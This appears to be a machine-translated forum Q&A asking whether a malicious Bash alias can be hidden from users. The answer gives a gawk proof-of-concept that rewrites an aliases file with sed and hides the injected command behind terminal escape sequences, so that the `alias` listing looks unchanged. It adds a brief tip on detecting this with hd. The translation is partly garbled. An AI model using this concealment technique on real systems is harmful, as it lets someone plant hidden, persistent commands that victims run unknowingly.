是否有可能在Linux系统上的Bash中隐藏恶意别名的存在,并让用户在其不知情的情况下执行该别名?
是否有可能在Linux系统上的Bash中隐藏恶意别名的存在,并让用户在其不知情的情况下执行该别名?
Answers:
可以通过以下方式来实现:将现有别名添加到恶意别名上,如果使用该alias
命令显示别名定义,则使用光标移动将其隐藏。这不是一个万无一失的方法,但是可能有一段时间没有被发现。管道alias
传递hd
将告诉您别名中是否有任何转义序列(光标移动)。这是如何将恶意命令插入别名的概念证明:
alias | gawk 'BEGIN {
FS = "[ =\047]"
db = "\\"; sp = db " "; amp = db "&"
sq= "\047"; bell = "\007"; esc = "\033"
}
NR == 3 { len1 = length($2) }
NR == 4 {
alias = $2
orig = gensub(sq, "", "g", substr($0, match($0, "=") + 1))
orig = gensub(" ", db sp, "g", orig)
}
END {
hide = "$" db sq sp "--" sp db "\r" esc "[J" esc "[A" db "\t"
for(i=1; i<len1; i++) {hide = hide esc "[C"}
cmd = "sed -i s/^alias" sp alias ".*/alias" sp alias "=" db sq "echo" sp db bell db db amp db db amp orig db sq hide db sq "/ aliases"
system(cmd)
}'
sed
命令在适当的位置修改了一个称为“别名”的文件-这种类型的真实脚本将用于处理并修改真实脚本文件,因此恶意别名将在下次执行时被激活。hide
作为参数执行,因此可以想象得到的错误类似于此问题中报告的错误。尽管可能会干扰提供给别名的参数,但可能会反转原始部分和恶意部分以影响此过程。尝试在上面的脚本中用标记参数的结尾--
。&&
,echo
不如将stdin
其stdout
通过管道传递到下一个,并使恶意脚本(在上面用简单命令表示)可以作为直通功能来修改数据或隐藏数据通过不干扰其他重定向进一步存在hide
可以修改该字符串以包括不同的光标移动和原始别名的文本,因此该alias
命令似乎将显示未修改的别名,而不是将其与恶意部分一起隐藏。. aliases
。然后,您可以尝试使用受影响的别名,然后查看它的外观alias|hd
。